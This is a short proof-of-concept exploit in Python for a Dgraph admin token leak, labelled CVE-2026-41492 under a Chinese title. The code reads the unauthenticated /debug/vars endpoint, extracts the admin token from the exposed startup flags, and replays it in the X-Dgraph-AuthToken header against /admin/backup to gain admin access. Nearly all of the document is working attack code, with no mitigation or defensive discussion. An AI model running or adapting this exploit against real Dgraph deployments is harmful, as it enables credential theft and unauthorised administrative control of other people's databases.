CVE-2026-41492 Dgraph管理员令牌泄露漏洞

import requests import json target = "http://127.0.0.1:8080" def exploit(): print(f"[*] Targeting: {target}") # Step 1: Access the unauthenticated /debug/vars endpoint url_vars = f"{target}/debug/vars" try: resp = requests.get(url_vars, timeout=5) if resp.status_code != 200: print(f"[-] Failed to access /debug/vars: {resp.status_code}") return except Exception as e: print(f"[-] Connection error: {e}") return print("[+] Successfully retrieved /debug/vars") # Step 2: Parse the response to find the admin token # The token is passed via startup flag, e.g., --security "token=SECRET" try: data = resp.json() content_str = json.dumps(data) token = None search_pattern = "token=" if search_pattern in content_str: parts = content_str.split(search_pattern) if len(parts) > 1: token = parts[1].split('"')[0].split(' ')[0] if token: print(f"[+] Admin Token extracted: {token}") else: print("[-] Admin token not found in response.") return except ValueError: print("[-] Failed to parse JSON response.") return # Step 3: Replay the token to gain admin access print("[*] Attempting to access admin endpoint with token...") admin_headers = { "X-Dgraph-AuthToken": token } # Example request to an admin-only endpoint url_admin = f"{target}/admin/backup" admin_resp = requests.get(url_admin, headers=admin_headers) if admin_resp.status_code == 200: print("[+] Success! Admin access granted.") else: print(f"[-] Failed to access admin endpoint. Status: {admin_resp.status_code}") if __name__ == "__main__": exploit()